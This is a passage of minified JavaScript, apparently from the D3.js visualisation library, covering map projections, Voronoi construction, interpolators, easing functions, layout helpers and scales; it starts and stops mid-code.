e=Math.cos(t),a=Math.cos(n)*e,c=Math.sin(n)*e,s=Math.sin(t),l=s*i-c*o;return[Math.atan2(c*i+s*o,a*r+l*u),G(l*r-a*u)]},e}function sr(n,t){var e=Math.cos(n),r=Math.sin(n);return function(u,i,o,a){var c=o*t;null!=u?(u=lr(e,u),i=lr(e,i),(o>0?i>u:u>i)&&(u+=o*wa)):(u=n+o*wa,i=n-.5*c);for(var s,l=u;o>0?l>i:i>l;l-=c)a.point((s=de([e,-r*Math.cos(l),-r*Math.sin(l)]))[0],s[1])}}function lr(n,t){var e=le(t);e[0]-=n,ve(e);var r=J(-e[1]);return((-e[2]<0?-r:r)+2*Math.PI-ka)%(2*Math.PI)}function fr(n,t,e){var r=Zo.range(n,t-ka,e).concat(t);return function(n){return r.map(function(t){return[n,t]})}}function hr(n,t,e){var r=Zo.range(n,t-ka,e).concat(t);return function(n){return r.map(function(t){return[t,n]})}}function gr(n){return n.source}function pr(n){return n.target}function vr(n,t,e,r){var u=Math.cos(t),i=Math.sin(t),o=Math.cos(r),a=Math.sin(r),c=u*Math.cos(n),s=u*Math.sin(n),l=o*Math.cos(e),f=o*Math.sin(e),h=2*Math.asin(Math.sqrt(tt(r-t)+u*o*tt(e-n))),g=1/Math.sin(h),p=h?function(n){var t=Math.sin(n*=h)*g,e=Math.sin(h-n)*g,r=e*c+t*l,u=e*s+t*f,o=e*i+t*a;return[Math.atan2(u,r)*Ca,Math.atan2(o,Math.sqrt(r*r+u*u))*Ca]}:function(){return[n*Ca,t*Ca]};return p.distance=h,p}function dr(){function n(n,u){var i=Math.sin(u*=Aa),o=Math.cos(u),a=ua((n*=Aa)-t),c=Math.cos(a);Dc+=Math.atan2(Math.sqrt((a=o*Math.sin(a))*a+(a=r*i-e*o*c)*a),e*i+r*o*c),t=n,e=i,r=o}var t,e,r;Pc.point=function(u,i){t=u*Aa,e=Math.sin(i*=Aa),r=Math.cos(i),Pc.point=n},Pc.lineEnd=function(){Pc.point=Pc.lineEnd=v}}function mr(n,t){function e(t,e){var r=Math.cos(t),u=Math.cos(e),i=n(r*u);return[i*u*Math.sin(t),i*Math.sin(e)]}return e.invert=function(n,e){var r=Math.sqrt(n*n+e*e),u=t(r),i=Math.sin(u),o=Math.cos(u);return[Math.atan2(n*i,r*o),Math.asin(r&&e*i/r)]},e}function yr(n,t){function e(n,t){o>0?-Sa+ka>t&&(t=-Sa+ka):t>Sa-ka&&(t=Sa-ka);var e=o/Math.pow(u(t),i);return[e*Math.sin(i*n),o-e*Math.cos(i*n)]}var r=Math.cos(n),u=function(n){return Math.tan(ba/4+n/2)},i=n===t?Math.sin(n):Math.log(r/Math.cos(t))/Math.log(u(t)/u(n)),o=r*Math.pow(u(n),i)/i;return i?(e.invert=function(n,t){var e=o-t,r=B(i)*Math.sqrt(n*n+e*e);return[Math.atan2(n,e)/i,2*Math.atan(Math.pow(o/r,1/i))-Sa]},e):Mr}function xr(n,t){function e(n,t){var e=i-t;return[e*Math.sin(u*n),i-e*Math.cos(u*n)]}var r=Math.cos(n),u=n===t?Math.sin(n):(r-Math.cos(t))/(t-n),i=r/u+n;return ua(u)<ka?rr:(e.invert=function(n,t){var e=i-t;return[Math.atan2(n,e)/u,i-B(u)*Math.sqrt(n*n+e*e)]},e)}function Mr(n,t){return[n,Math.log(Math.tan(ba/4+t/2))]}function _r(n){var t,e=nr(n),r=e.scale,u=e.translate,i=e.clipExtent;return e.scale=function(){var n=r.apply(e,arguments);return n===e?t?e.clipExtent(null):e:n},e.translate=function(){var n=u.apply(e,arguments);return n===e?t?e.clipExtent(null):e:n},e.clipExtent=function(n){var o=i.apply(e,arguments);if(o===e){if(t=null==n){var a=ba*r(),c=u();i([[c[0]-a,c[1]-a],[c[0]+a,c[1]+a]])}}else t&&(o=null);return o},e.clipExtent(null)}function br(n,t){return[Math.log(Math.tan(ba/4+t/2)),-n]}function wr(n){return n[0]}function Sr(n){return n[1]}function kr(n){for(var t=n.length,e=[0,1],r=2,u=2;t>u;u++){for(;r>1&&W(n[e[r-2]],n[e[r-1]],n[u])<=0;)--r;e[r++]=u}return e.slice(0,r)}function Er(n,t){return n[0]-t[0]||n[1]-t[1]}function Ar(n,t,e){return(e[0]-t[0])*(n[1]-t[1])<(e[1]-t[1])*(n[0]-t[0])}function Cr(n,t,e,r){var u=n[0],i=e[0],o=t[0]-u,a=r[0]-i,c=n[1],s=e[1],l=t[1]-c,f=r[1]-s,h=(a*(c-s)-f*(u-i))/(f*o-a*l);return[u+h*o,c+h*l]}function Nr(n){var t=n[0],e=n[n.length-1];return!(t[0]-e[0]||t[1]-e[1])}function zr(){Gr(this),this.edge=this.site=this.circle=null}function Lr(n){var t=Bc.pop()||new zr;return t.site=n,t}function Tr(n){Yr(n),Vc.remove(n),Bc.push(n),Gr(n)}function qr(n){var t=n.circle,e=t.x,r=t.cy,u={x:e,y:r},i=n.P,o=n.N,a=[n];Tr(n);for(var c=i;c.circle&&ua(e-c.circle.x)<ka&&ua(r-c.circle.cy)<ka;)i=c.P,a.unshift(c),Tr(c),c=i;a.unshift(c),Yr(c);for(var s=o;s.circle&&ua(e-s.circle.x)<ka&&ua(r-s.circle.cy)<ka;)o=s.N,a.push(s),Tr(s),s=o;a.push(s),Yr(s);var l,f=a.length;for(l=1;f>l;++l)s=a[l],c=a[l-1],Br(s.edge,c.site,s.site,u);c=a[0],s=a[f-1],s.edge=Xr(c.site,s.site,null,u),Or(c),Or(s)}function Rr(n){for(var t,e,r,u,i=n.x,o=n.y,a=Vc._;a;)if(r=Dr(a,o)-i,r>ka)a=a.L;else{if(u=i-Pr(a,o),!(u>ka)){r>-ka?(t=a.P,e=a):u>-ka?(t=a,e=a.N):t=e=a;break}if(!a.R){t=a;break}a=a.R}var c=Lr(n);if(Vc.insert(t,c),t||e){if(t===e)return Yr(t),e=Lr(t.site),Vc.insert(c,e),c.edge=e.edge=Xr(t.site,c.site),Or(t),Or(e),void 0;if(!e)return c.edge=Xr(t.site,c.site),void 0;Yr(t),Yr(e);var s=t.site,l=s.x,f=s.y,h=n.x-l,g=n.y-f,p=e.site,v=p.x-l,d=p.y-f,m=2*(h*d-g*v),y=h*h+g*g,x=v*v+d*d,M={x:(d*y-g*x)/m+l,y:(h*x-v*y)/m+f};Br(e.edge,s,p,M),c.edge=Xr(s,n,null,M),e.edge=Xr(n,p,null,M),Or(t),Or(e)}}function Dr(n,t){var e=n.site,r=e.x,u=e.y,i=u-t;if(!i)return r;var o=n.P;if(!o)return-1/0;e=o.site;var a=e.x,c=e.y,s=c-t;if(!s)return a;var l=a-r,f=1/i-1/s,h=l/s;return f?(-h+Math.sqrt(h*h-2*f*(l*l/(-2*s)-c+s/2+u-i/2)))/f+r:(r+a)/2}function Pr(n,t){var e=n.N;if(e)return Dr(e,t);var r=n.site;return r.y===t?r.x:1/0}function Ur(n){this.site=n,this.edges=[]}function jr(n){for(var t,e,r,u,i,o,a,c,s,l,f=n[0][0],h=n[1][0],g=n[0][1],p=n[1][1],v=Zc,d=v.length;d--;)if(i=v[d],i&&i.prepare())for(a=i.edges,c=a.length,o=0;c>o;)l=a[o].end(),r=l.x,u=l.y,s=a[++o%c].start(),t=s.x,e=s.y,(ua(r-t)>ka||ua(u-e)>ka)&&(a.splice(o,0,new Wr($r(i.site,l,ua(r-f)<ka&&p-u>ka?{x:f,y:ua(t-f)<ka?e:p}:ua(u-p)<ka&&h-r>ka?{x:ua(e-p)<ka?t:h,y:p}:ua(r-h)<ka&&u-g>ka?{x:h,y:ua(t-h)<ka?e:g}:ua(u-g)<ka&&r-f>ka?{x:ua(e-g)<ka?t:f,y:g}:null),i.site,null)),++c)}function Hr(n,t){return t.angle-n.angle}function Fr(){Gr(this),this.x=this.y=this.arc=this.site=this.cy=null}function Or(n){var t=n.P,e=n.N;if(t&&e){var r=t.site,u=n.site,i=e.site;if(r!==i){var o=u.x,a=u.y,c=r.x-o,s=r.y-a,l=i.x-o,f=i.y-a,h=2*(c*f-s*l);if(!(h>=-Ea)){var g=c*c+s*s,p=l*l+f*f,v=(f*g-s*p)/h,d=(c*p-l*g)/h,f=d+a,m=Wc.pop()||new Fr;m.arc=n,m.site=u,m.x=v+o,m.y=f+Math.sqrt(v*v+d*d),m.cy=f,n.circle=m;for(var y=null,x=$c._;x;)if(m.y<x.y||m.y===x.y&&m.x<=x.x){if(!x.L){y=x.P;break}x=x.L}else{if(!x.R){y=x;break}x=x.R}$c.insert(y,m),y||(Xc=m)}}}}function Yr(n){var t=n.circle;t&&(t.P||(Xc=t.N),$c.remove(t),Wc.push(t),Gr(t),n.circle=null)}function Ir(n){for(var t,e=Ic,r=Pe(n[0][0],n[0][1],n[1][0],n[1][1]),u=e.length;u--;)t=e[u],(!Zr(t,n)||!r(t)||ua(t.a.x-t.b.x)<ka&&ua(t.a.y-t.b.y)<ka)&&(t.a=t.b=null,e.splice(u,1))}function Zr(n,t){var e=n.b;if(e)return!0;var r,u,i=n.a,o=t[0][0],a=t[1][0],c=t[0][1],s=t[1][1],l=n.l,f=n.r,h=l.x,g=l.y,p=f.x,v=f.y,d=(h+p)/2,m=(g+v)/2;if(v===g){if(o>d||d>=a)return;if(h>p){if(i){if(i.y>=s)return}else i={x:d,y:c};e={x:d,y:s}}else{if(i){if(i.y<c)return}else i={x:d,y:s};e={x:d,y:c}}}else if(r=(h-p)/(v-g),u=m-r*d,-1>r||r>1)if(h>p){if(i){if(i.y>=s)return}else i={x:(c-u)/r,y:c};e={x:(s-u)/r,y:s}}else{if(i){if(i.y<c)return}else i={x:(s-u)/r,y:s};e={x:(c-u)/r,y:c}}else if(v>g){if(i){if(i.x>=a)return}else i={x:o,y:r*o+u};e={x:a,y:r*a+u}}else{if(i){if(i.x<o)return}else i={x:a,y:r*a+u};e={x:o,y:r*o+u}}return n.a=i,n.b=e,!0}function Vr(n,t){this.l=n,this.r=t,this.a=this.b=null}function Xr(n,t,e,r){var u=new Vr(n,t);return Ic.push(u),e&&Br(u,n,t,e),r&&Br(u,t,n,r),Zc[n.i].edges.push(new Wr(u,n,t)),Zc[t.i].edges.push(new Wr(u,t,n)),u}function $r(n,t,e){var r=new Vr(n,null);return r.a=t,r.b=e,Ic.push(r),r}function Br(n,t,e,r){n.a||n.b?n.l===e?n.b=r:n.a=r:(n.a=r,n.l=t,n.r=e)}function Wr(n,t,e){var r=n.a,u=n.b;this.edge=n,this.site=t,this.angle=e?Math.atan2(e.y-t.y,e.x-t.x):n.l===t?Math.atan2(u.x-r.x,r.y-u.y):Math.atan2(r.x-u.x,u.y-r.y)}function Jr(){this._=null}function Gr(n){n.U=n.C=n.L=n.R=n.P=n.N=null}function Kr(n,t){var e=t,r=t.R,u=e.U;u?u.L===e?u.L=r:u.R=r:n._=r,r.U=u,e.U=r,e.R=r.L,e.R&&(e.R.U=e),r.L=e}function Qr(n,t){var e=t,r=t.L,u=e.U;u?u.L===e?u.L=r:u.R=r:n._=r,r.U=u,e.U=r,e.L=r.R,e.L&&(e.L.U=e),r.R=e}function nu(n){for(;n.L;)n=n.L;return n}function tu(n,t){var e,r,u,i=n.sort(eu).pop();for(Ic=[],Zc=new Array(n.length),Vc=new Jr,$c=new Jr;;)if(u=Xc,i&&(!u||i.y<u.y||i.y===u.y&&i.x<u.x))(i.x!==e||i.y!==r)&&(Zc[i.i]=new Ur(i),Rr(i),e=i.x,r=i.y),i=n.pop();else{if(!u)break;qr(u.arc)}t&&(Ir(t),jr(t));var o={cells:Zc,edges:Ic};return Vc=$c=Ic=Zc=null,o}function eu(n,t){return t.y-n.y||t.x-n.x}function ru(n,t,e){return(n.x-e.x)*(t.y-n.y)-(n.x-t.x)*(e.y-n.y)}function uu(n){return n.x}function iu(n){return n.y}function ou(){return{leaf:!0,nodes:[],point:null,x:null,y:null}}function au(n,t,e,r,u,i){if(!n(t,e,r,u,i)){var o=.5*(e+u),a=.5*(r+i),c=t.nodes;c[0]&&au(n,c[0],e,r,o,a),c[1]&&au(n,c[1],o,r,u,a),c[2]&&au(n,c[2],e,a,o,i),c[3]&&au(n,c[3],o,a,u,i)}}function cu(n,t){n=Zo.rgb(n),t=Zo.rgb(t);var e=n.r,r=n.g,u=n.b,i=t.r-e,o=t.g-r,a=t.b-u;return function(n){return"#"+dt(Math.round(e+i*n))+dt(Math.round(r+o*n))+dt(Math.round(u+a*n))}}function su(n,t){var e,r={},u={};for(e in n)e in t?r[e]=hu(n[e],t[e]):u[e]=n[e];for(e in t)e in n||(u[e]=t[e]);return function(n){for(e in r)u[e]=r[e](n);return u}}function lu(n,t){return t-=n=+n,function(e){return n+t*e}}function fu(n,t){var e,r,u,i=Gc.lastIndex=Kc.lastIndex=0,o=-1,a=[],c=[];for(n+="",t+="";(e=Gc.exec(n))&&(r=Kc.exec(t));)(u=r.index)>i&&(u=t.substring(i,u),a[o]?a[o]+=u:a[++o]=u),(e=e[0])===(r=r[0])?a[o]?a[o]+=r:a[++o]=r:(a[++o]=null,c.push({i:o,x:lu(e,r)})),i=Kc.lastIndex;return i<t.length&&(u=t.substring(i),a[o]?a[o]+=u:a[++o]=u),a.length<2?c[0]?(t=c[0].x,function(n){return t(n)+""}):function(){return t}:(t=c.length,function(n){for(var e,r=0;t>r;++r)a[(e=c[r]).i]=e.x(n);return a.join("")})}function hu(n,t){for(var e,r=Zo.interpolators.length;--r>=0&&!(e=Zo.interpolators[r](n,t)););return e}function gu(n,t){var e,r=[],u=[],i=n.length,o=t.length,a=Math.min(n.length,t.length);for(e=0;a>e;++e)r.push(hu(n[e],t[e]));for(;i>e;++e)u[e]=n[e];for(;o>e;++e)u[e]=t[e];return function(n){for(e=0;a>e;++e)u[e]=r[e](n);return u}}function pu(n){return function(t){return 0>=t?0:t>=1?1:n(t)}}function vu(n){return function(t){return 1-n(1-t)}}function du(n){return function(t){return.5*(.5>t?n(2*t):2-n(2-2*t))}}function mu(n){return n*n}function yu(n){return n*n*n}function xu(n){if(0>=n)return 0;if(n>=1)return 1;var t=n*n,e=t*n;return 4*(.5>n?e:3*(n-t)+e-.75)}function Mu(n){return function(t){return Math.pow(t,n)}}function _u(n){return 1-Math.cos(n*Sa)}function bu(n){return Math.pow(2,10*(n-1))}function wu(n){return 1-Math.sqrt(1-n*n)}function Su(n,t){var e;return arguments.length<2&&(t=.45),arguments.length?e=t/wa*Math.asin(1/n):(n=1,e=t/4),function(r){return 1+n*Math.pow(2,-10*r)*Math.sin((r-e)*wa/t)}}function ku(n){return n||(n=1.70158),function(t){return t*t*((n+1)*t-n)}}function Eu(n){return 1/2.75>n?7.5625*n*n:2/2.75>n?7.5625*(n-=1.5/2.75)*n+.75:2.5/2.75>n?7.5625*(n-=2.25/2.75)*n+.9375:7.5625*(n-=2.625/2.75)*n+.984375}function Au(n,t){n=Zo.hcl(n),t=Zo.hcl(t);var e=n.h,r=n.c,u=n.l,i=t.h-e,o=t.c-r,a=t.l-u;return isNaN(o)&&(o=0,r=isNaN(r)?t.c:r),isNaN(i)?(i=0,e=isNaN(e)?t.h:e):i>180?i-=360:-180>i&&(i+=360),function(n){return ot(e+i*n,r+o*n,u+a*n)+""}}function Cu(n,t){n=Zo.hsl(n),t=Zo.hsl(t);var e=n.h,r=n.s,u=n.l,i=t.h-e,o=t.s-r,a=t.l-u;return isNaN(o)&&(o=0,r=isNaN(r)?t.s:r),isNaN(i)?(i=0,e=isNaN(e)?t.h:e):i>180?i-=360:-180>i&&(i+=360),function(n){return ut(e+i*n,r+o*n,u+a*n)+""}}function Nu(n,t){n=Zo.lab(n),t=Zo.lab(t);var e=n.l,r=n.a,u=n.b,i=t.l-e,o=t.a-r,a=t.b-u;return function(n){return ct(e+i*n,r+o*n,u+a*n)+""}}function zu(n,t){return t-=n,function(e){return Math.round(n+t*e)}}function Lu(n){var t=[n.a,n.b],e=[n.c,n.d],r=qu(t),u=Tu(t,e),i=qu(Ru(e,t,-u))||0;t[0]*e[1]<e[0]*t[1]&&(t[0]*=-1,t[1]*=-1,r*=-1,u*=-1),this.rotate=(r?Math.atan2(t[1],t[0]):Math.atan2(-e[0],e[1]))*Ca,this.translate=[n.e,n.f],this.scale=[r,i],this.skew=i?Math.atan2(u,i)*Ca:0}function Tu(n,t){return n[0]*t[0]+n[1]*t[1]}function qu(n){var t=Math.sqrt(Tu(n,n));return t&&(n[0]/=t,n[1]/=t),t}function Ru(n,t,e){return n[0]+=e*t[0],n[1]+=e*t[1],n}function Du(n,t){var e,r=[],u=[],i=Zo.transform(n),o=Zo.transform(t),a=i.translate,c=o.translate,s=i.rotate,l=o.rotate,f=i.skew,h=o.skew,g=i.scale,p=o.scale;return a[0]!=c[0]||a[1]!=c[1]?(r.push("translate(",null,",",null,")"),u.push({i:1,x:lu(a[0],c[0])},{i:3,x:lu(a[1],c[1])})):c[0]||c[1]?r.push("translate("+c+")"):r.push(""),s!=l?(s-l>180?l+=360:l-s>180&&(s+=360),u.push({i:r.push(r.pop()+"rotate(",null,")")-2,x:lu(s,l)})):l&&r.push(r.pop()+"rotate("+l+")"),f!=h?u.push({i:r.push(r.pop()+"skewX(",null,")")-2,x:lu(f,h)}):h&&r.push(r.pop()+"skewX("+h+")"),g[0]!=p[0]||g[1]!=p[1]?(e=r.push(r.pop()+"scale(",null,",",null,")"),u.push({i:e-4,x:lu(g[0],p[0])},{i:e-2,x:lu(g[1],p[1])})):(1!=p[0]||1!=p[1])&&r.push(r.pop()+"scale("+p+")"),e=u.length,function(n){for(var t,i=-1;++i<e;)r[(t=u[i]).i]=t.x(n);return r.join("")}}function Pu(n,t){return t=t-(n=+n)?1/(t-n):0,function(e){return(e-n)*t}}function Uu(n,t){return t=t-(n=+n)?1/(t-n):0,function(e){return Math.max(0,Math.min(1,(e-n)*t))}}function ju(n){for(var t=n.source,e=n.target,r=Fu(t,e),u=[t];t!==r;)t=t.parent,u.push(t);for(var i=u.length;e!==r;)u.splice(i,0,e),e=e.parent;return u}function Hu(n){for(var t=[],e=n.parent;null!=e;)t.push(n),n=e,e=e.parent;return t.push(n),t}function Fu(n,t){if(n===t)return n;for(var e=Hu(n),r=Hu(t),u=e.pop(),i=r.pop(),o=null;u===i;)o=u,u=e.pop(),i=r.pop();return o}function Ou(n){n.fixed|=2}function Yu(n){n.fixed&=-7}function Iu(n){n.fixed|=4,n.px=n.x,n.py=n.y}function Zu(n){n.fixed&=-5}function Vu(n,t,e){var r=0,u=0;if(n.charge=0,!n.leaf)for(var i,o=n.nodes,a=o.length,c=-1;++c<a;)i=o[c],null!=i&&(Vu(i,t,e),n.charge+=i.charge,r+=i.charge*i.cx,u+=i.charge*i.cy);if(n.point){n.leaf||(n.point.x+=Math.random()-.5,n.point.y+=Math.random()-.5);var s=t*e[n.point.index];n.charge+=n.pointCharge=s,r+=s*n.point.x,u+=s*n.point.y}n.cx=r/n.charge,n.cy=u/n.charge}function Xu(n,t){return Zo.rebind(n,t,"sort","children","value"),n.nodes=n,n.links=Ku,n}function $u(n,t){for(var e=[n];null!=(n=e.pop());)if(t(n),(u=n.children)&&(r=u.length))for(var r,u;--r>=0;)e.push(u[r])}function Bu(n,t){for(var e=[n],r=[];null!=(n=e.pop());)if(r.push(n),(i=n.children)&&(u=i.length))for(var u,i,o=-1;++o<u;)e.push(i[o]);for(;null!=(n=r.pop());)t(n)}function Wu(n){return n.children}function Ju(n){return n.value}function Gu(n,t){return t.value-n.value}function Ku(n){return Zo.merge(n.map(function(n){return(n.children||[]).map(function(t){return{source:n,target:t}})}))}function Qu(n){return n.x}function ni(n){return n.y}function ti(n,t,e){n.y0=t,n.y=e}function ei(n){return Zo.range(n.length)}function ri(n){for(var t=-1,e=n[0].length,r=[];++t<e;)r[t]=0;return r}function ui(n){for(var t,e=1,r=0,u=n[0][1],i=n.length;i>e;++e)(t=n[e][1])>u&&(r=e,u=t);return r}function ii(n){return n.reduce(oi,0)}function oi(n,t){return n+t[1]}function ai(n,t){return ci(n,Math.ceil(Math.log(t.length)/Math.LN2+1))}function ci(n,t){for(var e=-1,r=+n[0],u=(n[1]-r)/t,i=[];++e<=t;)i[e]=u*e+r;return i}function si(n){return[Zo.min(n),Zo.max(n)]}function li(n,t){return n.value-t.value}function fi(n,t){var e=n._pack_next;n._pack_next=t,t._pack_prev=n,t._pack_next=e,e._pack_prev=t}function hi(n,t){n._pack_next=t,t._pack_prev=n}function gi(n,t){var e=t.x-n.x,r=t.y-n.y,u=n.r+t.r;return.999*u*u>e*e+r*r}function pi(n){function t(n){l=Math.min(n.x-n.r,l),f=Math.max(n.x+n.r,f),h=Math.min(n.y-n.r,h),g=Math.max(n.y+n.r,g)}if((e=n.children)&&(s=e.length)){var e,r,u,i,o,a,c,s,l=1/0,f=-1/0,h=1/0,g=-1/0;if(e.forEach(vi),r=e[0],r.x=-r.r,r.y=0,t(r),s>1&&(u=e[1],u.x=u.r,u.y=0,t(u),s>2))for(i=e[2],yi(r,u,i),t(i),fi(r,i),r._pack_prev=i,fi(i,u),u=r._pack_next,o=3;s>o;o++){yi(r,u,i=e[o]);var p=0,v=1,d=1;for(a=u._pack_next;a!==u;a=a._pack_next,v++)if(gi(a,i)){p=1;break}if(1==p)for(c=r._pack_prev;c!==a._pack_prev&&!gi(c,i);c=c._pack_prev,d++);p?(d>v||v==d&&u.r<r.r?hi(r,u=a):hi(r=c,u),o--):(fi(r,i),u=i,t(i))}var m=(l+f)/2,y=(h+g)/2,x=0;for(o=0;s>o;o++)i=e[o],i.x-=m,i.y-=y,x=Math.max(x,i.r+Math.sqrt(i.x*i.x+i.y*i.y));n.r=x,e.forEach(di)}}function vi(n){n._pack_next=n._pack_prev=n}function di(n){delete n._pack_next,delete n._pack_prev}function mi(n,t,e,r){var u=n.children;if(n.x=t+=r*n.x,n.y=e+=r*n.y,n.r*=r,u)for(var i=-1,o=u.length;++i<o;)mi(u[i],t,e,r)}function yi(n,t,e){var r=n.r+e.r,u=t.x-n.x,i=t.y-n.y;if(r&&(u||i)){var o=t.r+e.r,a=u*u+i*i;o*=o,r*=r;var c=.5+(r-o)/(2*a),s=Math.sqrt(Math.max(0,2*o*(r+a)-(r-=a)*r-o*o))/(2*a);e.x=n.x+c*u+s*i,e.y=n.y+c*i-s*u}else e.x=n.x+r,e.y=n.y}function xi(n,t){return n.parent==t.parent?1:2}function Mi(n){var t=n.children;return t.length?t[0]:n.t}function _i(n){var t,e=n.children;return(t=e.length)?e[t-1]:n.t}function bi(n,t,e){var r=e/(t.i-n.i);t.c-=r,t.s+=e,n.c+=r,t.z+=e,t.m+=e}function wi(n){for(var t,e=0,r=0,u=n.children,i=u.length;--i>=0;)t=u[i],t.z+=e,t.m+=e,e+=t.s+(r+=t.c)}function Si(n,t,e){return n.a.parent===t.parent?n.a:e}function ki(n){return 1+Zo.max(n,function(n){return n.y})}function Ei(n){return n.reduce(function(n,t){return n+t.x},0)/n.length}function Ai(n){var t=n.children;return t&&t.length?Ai(t[0]):n}function Ci(n){var t,e=n.children;return e&&(t=e.length)?Ci(e[t-1]):n}function Ni(n){return{x:n.x,y:n.y,dx:n.dx,dy:n.dy}}function zi(n,t){var e=n.x+t[3],r=n.y+t[0],u=n.dx-t[1]-t[3],i=n.dy-t[0]-t[2];return 0>u&&(e+=u/2,u=0),0>i&&(r+=i/2,i=0),{x:e,y:r,dx:u,dy:i}}function Li(n){var t=n[0],e=n[n.length-1];return e>t?[t,e]:[e,t]}function Ti(n){return n.rangeExtent?n.rangeExtent():Li(n.range())}function qi(n,t,e,r){var u=e(n[0],n[1]),i=r(t[0],t[1]);return function(n){return i(u(n))}}function Ri(n,t){var e,r=0,u=n.length-1,i=n[r],o=n[u];return i>o&&(e=r,r=u,u=e,e=i,i=o,o=e),n[r]=t.floor(i),n[u]=t.ceil(o),n}function Di(n){return n?{floor:function(t){return Math.floor(t/n)*n},ceil:function(t){return Math.ceil(t/n)*n}}:ss}function Pi(n,t,e,r){var u=[],i=[],o=0,a=Math.min(n.length,t.length)-1;for(n[a]<n[0]&&(n=n.slice().reverse(),t=t.slice().reverse());++o<=a;)u.push(e(n[o-1],n[o])),i.push(r(t[o-1],t[o]));return function(t){var e=Zo.bisect(n,t,1,a)-1;return i[e](u[e](t))}}function Ui(n,t,e,r){function u(){var u=Math.min(n.length,t.length)>2?Pi:qi,c=r?Uu:Pu;return o=u(n,t,c,e),a=u(t,n,c,hu),i}function i(n){return o(n)}var o,a;return i.invert=function(n){return a(n)},i.domain=function(t){return arguments.length?(n=t.map(Number),u()):n},i.range=function(n){return arguments.length?(t=n,u()):t},i.rangeRound=function(n){return i.range(n).interpolate(zu)},i.clamp=function(n){return arguments.length?(r=n,u()):r},i.interpolate=function(n){return arguments.length?(e=n,u()):e},i.ticks=function(t){return Oi(n,t)},i.tickFormat=function(t,e){return Yi(n,t,e)},i.nice=function(t){return Hi(n,t),u()},i.copy=function(){return Ui(n,t,e,r)},u()}function ji(n,t){return Zo.rebind(n,t,"range","rangeRound","interpolate","clamp")}function Hi(n,t){return Ri(n,Di(Fi(n,t)[2]))}function Fi(n,t){null==t&&(t=10);var e=Li(n),r=e[1]-e[0],u=Math.pow(10,Math.floor(Math.log(r/t)/Math.LN10)),i=t/r*u;return.15>=i?u*=10:.35>=i?u*=5:.75>=i&&(u*=2),e[0]=Math.ceil(e[0]/u)*u,e[1]=Math.floor(e[1]/u)*u+.5*u,e[2]=u,e}function Oi(n,t){return Zo.range.apply(Zo,Fi(n,t))}function Yi(n,t,e){var r=Fi(n,t);if(e){var u=Ga.exec(e);if(u.shift(),"s"===u[8]){var i=Zo.formatPrefix(Math.max(ua(r[0]),ua(r[1])));return u[7]||(u[7]="."+Ii(i.scale(r[2]))),u[8]="f",e=Zo.format(u.join("")),function(n){return e(i.scale(n))+i.symbol}}u[7]||(u[7]="."+Zi(u[8],r)),e=u.join("")}else e=",."+Ii(r[2])+"f";return Zo.format(e)}function Ii(n){return-Math.floor(Math.log(n)/Math.LN10+.01)}function Zi(n,t){var e=Ii(t[2]);return n in ls?Math.abs(e-Ii(Math.max(ua(t[0]),ua(t[1]))))+ +("e"!==n):e-2*("%"===n)}function Vi(n,t,e,r){function u(n){return(e?Math.log(0>n?0:n):-Math.log(n>0?0:-n))/Math.log(t)}function i(n){return e?Math.pow(t,n):-Math.pow(t,-n)}function o(t){return n(u(t))}return o.invert=function(t){return i(n.invert(t))},o.domain=function(t){return arguments.length?(e=t[0]>=0,n.domain((r=t.map(Number)).map(u)),o):r},o.base=function(e){return arguments.length?(t=+e,n.domain(r.map(u)),o):t},o.nice=function(){var t=Ri(r.map(u),e?Math:hs);return n.domain(t),r=t.map(i),o},o.ticks=function(){var n=Li(r),o=[],a=n[0],c=n[1],s=Math.floor(u(a)),l=Math.ceil(u(c)),f=t%1?2:t;if(isFinite(l-s)){if(e){for(;l>s;s++)for(var h=1;f>h;h++)o.push(i(s)*h);o.push(i(s))}else for(o.push(i(s));s++<l;)for(var h=f-1;h>0;h--)o.push(i(s)*h);for(s=0;o[s]<a;s++);for(l=o.length;o[l-1]>c;l--);o=o.slice(s,l)}return o},o.tickFormat=function(n,t){if(!arguments.length)return fs;arguments.length<2?t=fs:"function"!=typeof t&&(t=Zo.format(t));var r,a=Math.max(.1,n/o.ticks().length),c=e?(r=1e-12,Math.ceil):(r=-1e-12,Math.floor);return function(n){return n/i(c(u(n)+r))<=a?t(n):""}},o.copy=function(){return Vi(n.copy(),t,e,r)},ji(o,n)}function Xi(n,t,e){function r(t){return n(u(t))}var u=$i(t),i=$i(1/t);return r.invert=function(t){return i(n.invert(t))},r.domain=function(t){return arguments.length?(n.domain((e=t.map(Number)).map(u)),r):e},r.ticks=function(n){return Oi(e,n)},r.tickFormat=function(n,t){return Yi(e,n,t)},r.nice=function(n){return r.domain(Hi(e,n))},r.exponent=function(o){return arguments.length?(u=$i(t=o),i=$i(1/t),n.domain(e.map(u)),r):t},r.copy=function(){return Xi(n.copy(),t,e)},ji(r,n)}function $i(n){return function(t){return 0>t?-Math.pow(-t,n):Math.pow(t,n)}}function Bi(n,t){function e(e){return i[((u.get(e)||("range"===t.t?u.set(e,n.push(e)):0/0))-1)%i.length]}function r(t,e){return Zo.range(n.length).map(function(n){return t+e*n})}var u,i,a;return e.domain=function(r){if(!arguments.length)return n;n=[],u=new o;for(var i,a=-1,c=r.length;++a<c;)u.has(i=r[a])||u.set(i,n.push(i));return e[t.t].apply(e,t.a)},e.range=function(n){return arguments.length?(i=n,a=0,t={t:"range",a:arguments},e):i},e.rangePoints=function(u,o){arguments.length<2&&(o=0);var c=u[0],s=u[1],l=(s-c)/(Math.max(1,n.length-1)+o);return i=r(n.length<2?(c+s)/2:c+l*o/2,l),a=0,t={t:"rangePoints",a:arguments},e},e.rangeBands=function(u,o,c){arguments.length<2&&(o=0),arguments.length<3&&(c=o);var s=u[1]<u[0],l=u[s-0],f=u[1-s],h=(f-l)/(n.length-o+2*c);return i=r(l+h*c,h),s&&i.reverse(),a=h*(1-o),t={t:"rangeBands",a:arguments},e},e.rangeRoundBands=function(u,o,c){arguments.length<2&&(o=0),arguments.length<3&&(c=o);var s=u[1]<u[0],l=u[s-0],f=u[1-s],h=Math.floor((f-l)/(n.length-o+2*c)),g=f-l-(n.length-o)*h;return i=r(l+Math.round(g/2),h),s&&i.reverse(),a=Math.round(h*(1-o)),t={t:"rangeRoundBands",a:arguments},e},e.rangeBand=function(){return a},e.rangeExtent=function(){return Li(t.a[0])},e.copy=function(){return Bi(n,t)},e.domain(n)}function Wi(e,r){function u(){var n=0,t=r.length;for(o=[];++n<t;)o[n-1]=Zo.quantile(e,n/t);return i}function i(n){return isNaN(n=+n)?void 0:r[Zo.bisect(o,n)]}var o;return i.domain=function(r){return arguments.length?(e=r.filter(t).sort(n),u()):e},i.range=function(n){return 